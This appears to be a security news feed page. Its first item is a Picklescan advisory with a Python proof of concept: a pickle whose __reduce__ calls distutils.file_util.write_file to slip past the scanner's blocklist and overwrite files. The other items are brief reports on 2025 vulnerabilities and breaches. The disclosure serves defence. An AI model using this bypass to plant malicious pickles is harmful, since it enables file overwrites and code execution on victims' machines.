#vulnerability

### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" heig...

2025 included a number of monumental threats, from global nation-state attacks to a critical vulnerability under widespread exploitation.

Last week’s cyber news in 2025 was not about one big incident. It was about many small cracks opening at the same time. Tools people trust every day behave in unexpected ways. Old flaws resurfaced. New ones were used almost immediately. A common theme ran through it all in 2025. Attackers moved faster than fixes. Access meant for work, updates, or support kept getting abused. And damage did not

Researchers reveal CVE-2025-54322, a critical unpatched flaw in XSpeeder networking gear found by AI agents. 70,000 industrial and branch devices are exposed.

From university breaches to cyberattacks that shut down whole supply chains, these were the worst cybersecurity incidents of the year.

A recently disclosed security vulnerability in MongoDB has come under active exploitation in the wild, with over 87,000 potentially susceptible instances identified across the world. The vulnerability in question is CVE-2025-14847 (CVSS score: 8.7), which allows an unauthenticated attacker to remotely leak sensitive data from the MongoDB server memory. It has been codenamed MongoBleed. "A flaw

In December 2024, the popular Ultralytics AI library was compromised, installing malicious code that hijacked system resources for cryptocurrency mining. In August 2025, malicious Nx packages leaked 2,349 GitHub, cloud, and AI credentials. Throughout 2024, ChatGPT vulnerabilities allowed unauthorized extraction of user data from AI memory. The result: 23.77 million secrets were leaked through AI

A security vulnerability has been detected in actiontech sqle up to 4.2511.0. The impacted element is an unknown function of the file sqle/utils/jwt.go of the component JWT Secret Handler. The manipulation of the argument JWTSecretKey leads to use of hard-coded cryptographic key. The attack is possible to be carried out remotely. The attack's complexity is rated as high. The exploitability is regarded as difficult. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report and is planning to fix this flaw in an upcoming release.
